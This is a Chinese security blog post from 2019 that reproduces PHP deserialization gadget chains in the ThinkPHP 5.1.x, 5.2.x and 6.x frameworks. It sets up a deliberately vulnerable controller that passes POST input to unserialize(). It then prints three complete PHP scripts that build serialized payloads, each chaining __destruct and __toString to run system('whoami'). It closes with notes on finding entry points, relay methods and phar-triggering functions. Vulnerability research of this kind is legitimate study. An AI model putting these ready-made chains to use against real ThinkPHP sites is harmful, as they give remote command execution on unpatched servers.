thinkphp 反序列化系列gadget 复现

环境准备

安装composer

1
2
3
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

安装对应版本的tp后,修改index controller的index方法

1
2
3
4
5
public function index()
{
unserialize($_POST['payload']);
return "Over";
}

ThinkPHP5.1.X

安装tp

1
2
3
4
composer create-project --prefer-dist topthink/think tp5137
cd tp5137
vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
composer update

think\process\pipes;
Alt text

think\model\concern\Conversion
Alt text

要进入红框逻辑
Alt text
Alt text

Alt text
Alt text

基本上扩展到调用任意类的任意方法
Alt text

Alt text

filter
Alt text

Alt text
所以如果实在要用input,就需要迂回即查找有哪些方法内部使用了input,可以找到param。
Alt text
不过 $name参数这里是刚才合并数组后第一个参数$this传回到input第二个参数后,会强制类型转换成string。
Alt text
所以要强行用input就要继续找其它调用input的方法,或者调用param的方法。
Alt text
这样input的第一个参数和第二个参数都可控了。

最后的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
private $fileHandles = [];

public function __destruct()
{
$this->close();
$this->removeFiles();
}

public function close()
{
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

public function setFile($value){
$this->files[] = $value;
}
}
}

namespace think\model\concern {
trait Conversion{
protected $append = ['key' => array()];

public function toArray()
{
$item = [];
$hasVisible = false;

if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}

$item[$key] = $relation->append($name)->toArray();
}
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}

}

trait RelationShip{
private $relation = [];

public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

public function setRelation($key, $relation){
$this->relation[$key] = $relation;
}
}

trait Attribute{
private $filter;
private $data = ['key' => ''];

public function getAttr($name, &$item = null){
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

return $value;
}

public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

public function setData($key, $value)
{
$this->data[$key] = $value;
}
}
}

namespace think{
class Request{
protected $mergeParam = True;
protected $hook = ['visible' => ''];
protected $param = ['payload'=>array('whoami')]; //input的第一个参数
protected $config = ['var_ajax' => 'payload']; //var_ajax所对应值是input的第二个参数
protected $filter = ['system'];

public function __call($method, $args){
#var_dump($this->hook[$method]);
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

public function input($data = [], $name = '', $default = null, $filter = '')
{

if (false === $name) {
return $data;
}

$name = (string) $name;
if ('' != $name) {
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
}

protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

private function filterValue(&$value, $key, $filters)
{
#($filters, $value);
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
$value = call_user_func($filter, $value);
}
}

return $value;
}

public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

public function server($name = '', $default = null)
{
if (empty($name)) {
return $this->server;
} else {
$name = strtoupper($name);
}

return isset($this->server[$name]) ? $this->server[$name] : $default;
}

public function setHook($value){
$this->hook['visible'] = $value;

}
}

abstract class Model
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\Conversion;
}
}

namespace think\model {
use think\Model;
class Pivot extends Model{}
}

namespace {
$request = new think\Request;
$request->setHook(array($request, 'isAjax'));
$conversion = new think\model\Pivot();
$conversion->setData('key', $request);
$windows = new think\process\pipes\Windows();
$windows->setFile($conversion);
echo urlencode(serialize($windows));
}

ThinkPHP5.2.X

1
2
3
composer create-project topthink/think=5.2.x-dev tp52x
cd tp52x
./think run

Alt text

Alt text

Alt text

在复现在时候看到文章分析说tp5.2.x里面的$relation->visible($name);被删除掉了,所以没法用tp5.1.x的链。个人感觉其实说的不对,如下图所示,它还在只是被封装到了另外一个函数里面,变量依然可控,真正的原因应该是 Request 类的 __call 方法被被移除了
Alt text

至此,tp5.1和tp5.2从这里开始分叉,tp5.2.x就下来用的gadget是toArray中的getAttr
Alt text

Alt text

Alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
private $fileHandles = [];

public function __destruct()
{
$this->close();
$this->removeFiles();
}

public function close()
{
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
$this->fileHandles = [];
}

private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

public function setFile($value){
$this->files[] = $value;
}
}
}

namespace think\model\concern {
trait Conversion{
protected $visable = ['key' => 'value'];

public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}

}

trait Attribute{
protected $strict = true;
private $data = ['key' => 'whoami'];
private $withAttr = ['key' => 'system'];

protected function getValue(string $name, $value, bool $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
//$method = 'get' . App::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationAttribute($name);
}

return $value;
}

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

return $this->getValue($name, $value, $relation);
}

public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : App::parseName($name);
}
}

trait RelationShip
{
private $relation = [];
}
}

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
use model\concern\RelationShip;
}
}

namespace think\model {
use think\Model;
class Pivot extends Model{}
}

namespace {
$conversion = new think\model\Pivot();
//$conversion->__toString();
$windows = new think\process\pipes\Windows();
$windows->setFile($conversion);
echo urlencode(serialize($windows));
}

ThinkPHP6.X

1
2
3
composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
cd tp6x
./think run

ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,但POP链__toString 之后的 Gadget 仍然存在,所以再找一个可触发__toString的点即可。

vendor/topthink/think-orm/src/Model.php
Alt text

Alt text

Alt text

Alt text

Alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
<?php

namespace think{
abstract class Model{
use model\concern\ModelEvent;
use model\concern\Attribute;
use model\concern\TimeStamp;
use model\concern\RelationShip;
use model\concern\Conversion;

private $lazySave = True;
private $exists = True;
private $force = True;
protected $table = '';
protected $suffix = '';

public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

public function save(array $data = [], string $sequence = null): bool
{

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

return true;
}

public function isEmpty(): bool
{
return empty($this->data);
}

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

//$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();
}

protected function checkAllowFields(): array
{
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
//$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}
}

public function setTable($table){
$this->table = $table;
}
}

}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\model\concern{
trait Attribute{
protected $strict = true;
private $data = ['key' => 'whoami'];
private $withAttr = ['key' => 'system'];
protected $field = [];
protected $schema = [];

public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}

protected function getValue(string $name, $value, bool $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
//$method = 'get' . App::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$closure = $this->withAttr[$fieldName];
var_dump($closure, $value);
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($name);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationAttribute($name);
}

return $value;
}

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

return $this->getValue($name, $value, $relation);
}

public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : App::parseName($name);
}
}

trait ModelEvent{
protected $withEvent = false;

protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
}
}

trait TimeStamp{
protected $autoWriteTimestamp = False;
}

trait RelationShip
{
private $relation = [];
}

trait Conversion{
protected $visable = ['key' => 'value'];

public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
$item[$key] = $val->toArray();
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

return $item;
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

public function __toString()
{
return $this->toJson();
}
}

}

namespace {
$model = new think\model\Pivot();
$model->setTable($model);
echo urlencode(serialize($model));
}

个人方法论

反序列化起点

起点只有两个

  • __walkup
  • __destrusct

反序列化的中继点

  • 要是某段代码等价于形如$this->obj1->method(),中继点可以是obj2的同名method方法,也可以是obj3__call方法
  • 处理字符串的函数(可控$obj),中继点可以是$obj的__toString
  • 某段代码形如$this->obj[$key],中继点可以__get或者实现了ArrayAccess的接口。
  • 某段代码里面有new了新对象,那么中继点可以是那个对象的__contrust方法

总结一下触发__toString

  1. php内置函数会把传入变量当作字符串处理的时候,例如file_exists(),sprintf
  2. 与其它字符串发生运算的时候例如.==
  3. php原生代码里面的异常处理类存在tostring调用点,实际使用时很好用

反序列化的终点

  • 一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用__call_user_func(\$method, $args)__call_user_func_array([\$obj,\$method], $args),例如tp5.1
  • 动态调用的方法,$可控方法($可控参数),例如tp5.2

书写exp时候注意事项

  • 尽量不进行省略步骤性质的优化,防止出现exp可以但实际环境不成功人为玄学的情况。
  • 对单行执行的不获取返回值的函数进行省略(只要函数内部没有不会抛出异常)。
    Alt text
  • 触发流程之后的代码都可以省略掉。

上面讲的个人心得是脱离框架写exp的思路,maybe直接在框架下的某个路由写exp效率更高。

受phar影响的函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable /
  • is_writable
  • parse_ini_file
  • unlink
  • copy

参考

挖掘暗藏ThinkPHP中的反序列利用链
ThinkPHP5.1.X反序列化利用链
ThinkPHP5.2.x反序列化利用链
ThinkPHP6.X反序列化利用链
N1CTF2019 sql_manage出题笔记

Author

李三(cl0und)

Posted on

2019-10-18

Updated on

2020-07-11

Licensed under